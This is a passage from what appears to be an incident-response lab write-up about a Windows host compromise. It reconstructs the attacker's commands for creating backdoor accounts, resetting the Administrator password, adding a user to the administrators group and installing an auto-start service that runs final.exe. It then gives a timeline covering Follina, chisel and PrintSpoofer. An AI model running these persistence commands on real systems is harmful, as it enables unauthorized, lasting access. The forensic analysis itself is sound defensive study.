> net user shuna pr1nc3ss!
> net user shion m4st3rch3f!
> net users
User accounts for \\
-------------------------------------------------------------------------------
Administrator benimaru DefaultAccount
Guest rimuru WDAGUtilityAccount
The command completed with one or more errors.This time around, with the correct command, the two users were successfully created:
> net user /add shuna princess
The command completed successfully.
> net user /add shion m4st3rch3f!
The command completed successfully.
> net users
User accounts for \\
-------------------------------------------------------------------------------
Administrator benimaru DefaultAccount
Guest rimuru shion
shuna WDAGUtilityAccount
The command completed with one or more errors.Another thing the threat actor did for persistence was to change the local administrator's password as well as add the new user, shion, to the localadministrators group:
> net user Administrator ch4ng3dpassword!
The command completed successfully.
> net localgroup administrators /add shion
The command completed successfully.
> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
rimuru
shion
The command completed successfully.The logs below confirms the creation of two new users (Event ID 4720) as well the addition of shion to the localadministrators group (Event ID 4732):
$ cat windows.json | grep -E 'EventId..4720' | jq -r '{Username: .PayloadData1, Time: .TimeCreated}'
{
"Username": "Target: TEMPEST\\shuna (S-1-5-21-349058839-1848105669-1528301110-1002)",
"Time": "2022-06-20T17:27:19.1269169+00:00"
}
{
"Username": "Target: TEMPEST\\shion (S-1-5-21-349058839-1848105669-1528301110-1003)",
"Time": "2022-06-20T17:27:28.6292691+00:00"
}
$ cat windows.json | grep -E 'EventId..4732' | grep Administrators | jq -r '{Group: .PayloadData1, MemberSID: .PayloadData4, Time: .TimeCreated}'
{
"Group": "Target: Builtin\\Administrators (S-1-5-32-544)",
"MemberSID": "MemberSid: S-1-5-21-349058839-1848105669-1528301110-1003",
"Time": "2022-06-20T17:27:41.2977760+00:00"
}Another persistence method performed was by creating a service (TempestUpdate2) that will run final.exe:
> sc.exe \\TEMPEST create TempestUpdate binpath= C:\ProgramData\final.exe start= auto
[SC] CreateService FAILED 1073:
The specified service already exists.
> sc.exe \\TEMPEST create TempestUpdate2 binpath= C:\ProgramData\final.exe start= auto
[SC] CreateService SUCCESS
> sc.exe qc TempestUpdate2
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: TempestUpdate2
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\ProgramData\final.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : TempestUpdate2
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem TIMELINE OF EVENTS
2022-06-20 17:12:56
The file, free_magicules.doc , was downloaded into the workstation.
2022-06-20 17:13:12
The file, free_magicules.doc, was opened in Microsoft Word.
2022-06-20 17:13:35
CVE-2022-30190 (Follina) Execution
2022-06-20 17:13:37
The file, update.zip, was downloaded into the workstation.
2022-06-20 17:15:10
Stage 2 payload (first.exe) was downloaded into the workstation.
2022-06-20 17:15:14
First seen execution of first.exe.
2022-06-20 17:18:48
Download and execution of chisel (ch.exe).
2022-06-20 17:19:05
First seen (assumed) unauthorized login to TEMPEST\benimaru via WinRM.
2022-06-20 17:20:06
PrintSpoofer exploit (spf.exe) was downloaded into the workstation.
2022-06-20 17:21:05
The file, final.exe, was downloaded into the workstation.
2022-06-20 17:21:34
Execution of spf.exe and final.exe.
2022-06-20 17:26:29
Creation of the TempestUpdate2 service for persistence.
2022-06-20 17:27:19
Creation of two users (shuna and shion) as well as addition of shion to the local administrators group.
Last updated